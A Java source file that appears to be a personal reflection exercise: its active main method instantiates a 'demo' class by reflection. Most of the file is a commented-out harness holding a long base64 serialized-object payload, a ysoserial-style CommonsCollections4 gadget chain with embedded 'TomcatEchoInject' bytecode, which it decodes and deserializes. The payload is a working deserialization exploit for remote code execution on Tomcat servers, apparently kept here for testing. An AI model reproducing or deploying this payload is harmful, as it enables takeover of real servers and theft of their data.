package summer.reflection;

import java.lang.reflect.InvocationTargetException;

/**
 * @ClassName: test
 * @Description: TODO
 * @Author: Samny
 * @Date: 2020/4/23 17:03
 * @Version: v1.0.0
 * @Description: test类
 **/
public class test {
//    public static void main(String[] args) {
//        try {
//            String input = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaML" +
//                    "T7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGl" +
//                    "sL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9u" +
//                    "cy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ" +
//                    "29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt" +
//                    "0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjd" +
//                    "GlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9" +
//                    "ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvb" +
//                    "XBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9" +
//                    "ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9yb" +
//                    "WVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXB" +
//                    "hY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwd" +
//                    "XIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmF" +
//                    "uc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlL" +
//                    "mNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJ" +
//                    "hbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL" +
//                    "2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWx" +
//                    "hbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAA" +
//                    "AAAAHhwc3IAP29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQu" +
//                    "ZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H+khtA7AgAC" +
//                    "WwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHl" +
//                    "wZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy" +
//                    "5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuY" +
//                    "XBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVz" +
//                    "SW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2x" +
//                    "ldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAUTA" +
//                    "AFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvc" +
//                    "GVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////" +
//                    "dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4" +
//                    "cAAACi/K/rq+AAAAMwBsCgAXADoIADsKADwAPQgAPgoAPAA/CgBAAEE" +
//                    "IAEIKAEMARAoAQwBFCgBDAEYKAEMARwoAQwBICABJCABKCgBDAEsHAE" +
//                    "wKABAAOgoAQwBNCABOBwBPCgAUAFAHAFEHAFIBAAY8aW5pdD4BAAMoK" +
//                    "VYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJs" +
//                    "ZVRhYmxlAQAEdGhpcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvVG9tY2F" +
//                    "0RWNob0luamVjdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2" +
//                    "FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL2" +
//                    "9yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsa" +
//                    "XphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29y" +
//                    "Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmR" +
//                    "sZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3" +
//                    "NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0a" +
//                    "W9ucwcAUwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVy" +
//                    "bmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnR" +
//                    "lcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcG" +
//                    "FjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvb" +
//                    "khhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFj" +
//                    "aGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGF" +
//                    "uZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3" +
//                    "NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pd" +
//                    "D4BAAFjAQARTGphdmEvbGFuZy9DbGFzczsBAAFmAQAZTGphdmEvbGFu" +
//                    "Zy9yZWZsZWN0L0ZpZWxkOwEADm1vZGlmaWVyc0ZpZWxkAQABZQEAFUx" +
//                    "qYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAFQHAF" +
//                    "UHAE8BAApTb3VyY2VGaWxlAQAVVG9tY2F0RWNob0luamVjdC5qYXZhD" +
//                    "AAYABkBAC5vcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRp" +
//                    "b25EaXNwYXRjaGVyBwBUDABWAFcBABBXUkFQX1NBTUVfT0JKRUNUDAB" +
//                    "YAFkHAFoMAFsAXAEACW1vZGlmaWVycwcAVQwAXQBeDABfAGAMAGEAYg" +
//                    "wAYwBkDABlAGYBAC9vcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwb" +
//                    "GljYXRpb25GaWx0ZXJDaGFpbgEAE2xhc3RTZXJ2aWNlZFJlcXVlc3QM" +
//                    "AGcAaAEAFWphdmEvbGFuZy9UaHJlYWRMb2NhbAwAaQBqAQAUbGFzdFN" +
//                    "lcnZpY2VkUmVzcG9uc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABrAB" +
//                    "kBACN5c29zZXJpYWwvcGF5bG9hZHMvVG9tY2F0RWNob0luamVjdAEAQ" +
//                    "GNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9y" +
//                    "dW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGF" +
//                    "jaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb2" +
//                    "4BAA9qYXZhL2xhbmcvQ2xhc3MBABdqYXZhL2xhbmcvcmVmbGVjdC9Ga" +
//                    "WVsZAEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL" +
//                    "2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sY" +
//                    "W5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAEGphd" +
//                    "mEvbGFuZy9PYmplY3QBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9Db" +
//                    "GFzczsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEADGdldE1vZGlmaWVyc" +
//                    "wEAAygpSQEABnNldEludAEAFihMamF2YS9sYW5nL09iamVjdDtJKVYBA" +
//                    "ApnZXRCb29sZWFuAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAKc2V0Q" +
//                    "m9vbGVhbgEAFihMamF2YS9sYW5nL09iamVjdDtaKVYBAANnZXQBACYoTG" +
//                    "phdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAA3NldAE" +
//                    "AJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEA" +
//                    "D3ByaW50U3RhY2tUcmFjZQAhABYAFwAAAAAABAABABgAGQABABoAAAAvA" +
//                    "AEAAQAAAAUqtwABsQAAAAIAGwAAAAYAAQAAAAwAHAAAAAwAAQAAAAUAHQ" +
//                    "AeAAAAAQAfACAAAgAaAAAAPwAAAAMAAAABsQAAAAIAGwAAAAYAAQAAADg" +
//                    "AHAAAACAAAwAAAAEAHQAeAAAAAAABACEAIgABAAAAAQAjACQAAgAlAAAA" +
//                    "BAABACYAAQAfACcAAgAaAAAASQAAAAQAAAABsQAAAAIAGwAAAAYAAQAAA" +
//                    "D4AHAAAACoABAAAAAEAHQAeAAAAAAABACEAIgABAAAAAQAoACkAAgAAAA" +
//                    "EAKgArAAMAJQAAAAQAAQAmAAgALAAZAAEAGgAAAZcABAADAAAAwBICuAAD" +
//                    "SyoSBLYABUwrtgAGEge2AAVNLAS2AAgsKyu2AAkQ7362AAorBLYACCsBt" +
//                    "gALmgAJKwEEtgAMEg24AANLKhIOtgAFTCu2AAYSB7YABU0sBLYACCwrK7" +
//                    "YACRDvfrYACisEtgAIKwG2AA/HAA8rAbsAEFm3ABG2ABIqEhO2AAVMK7Y" +
//                    "ABhIHtgAFTSwEtgAILCsrtgAJEO9+tgAKKwS2AAgrAbYAD8cADysBuwAQ" +
//                    "WbcAEbYAEqcACEsqtgAVsQABAAAAtwC6ABQAAwAbAAAAbgAbAAAAEgAGAB" +
//                    "MADQAUABcAFQAcABYAKAAXAC0AGAA1ABkAOwAdAEEAHgBIAB8AUgAgAFcA" +
//                    "IQBjACIAaAAjAHAAJAB8ACgAgwApAI0AKgCSACsAngAsAKMALQCrAC4Atw" +
//                    "AyALoAMAC7ADEAvwAzABwAAAAqAAQABgCxAC0ALgAAAA0AqgAvADAAAQA" +
//                    "XAKAAMQAwAAIAuwAEADIAMwAAADQAAAAZAAX+ADsHADUHADYHADb7AED4" +
//                    "ADpCBwA3BAABADgAAAACADl1cQB+AB8AAAHUyv66vgAAADMAGwoAAwAVB" +
//                    "wAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudF" +
//                    "ZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmV" +
//                    "OdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANG" +
//                    "b28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0a" +
//                    "WwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQ" +
//                    "wACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyR" +
//                    "Gb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFi" +
//                    "bGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADA" +
//                    "AEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAA" +
//                    "AABSq3AAGxAAAAAgANAAAABgABAAAAPQAOAAAADAABAAAABQAPABIAAAA" +
//                    "CABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHVyABJb" +
//                    "TGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAB1qYXZhe" +
//                    "C54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB3BAAAAA" +
//                    "NzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHI" +
//                    "AEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXEAfgApeA==";
//            byte[] b = new BASE64Decoder().decodeBuffer(input);
//            System.out.println(b);
//            ObjectInputStream ois2 = new ObjectInputStream(new ByteArrayInputStream(b));
//            ois2.readObject();
//        } catch (Exception e) {
//            e.printStackTrace();
//        }
//    }

    public static void main(String[] args) {
        try {
            Class cls = Class.forName("summer.reflection.demo");
            Class[] classes = new Class[]{String[].class};
            cls.getConstructor(classes).newInstance( new  String[][]{{"sadsd"}});


        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }
    }

}


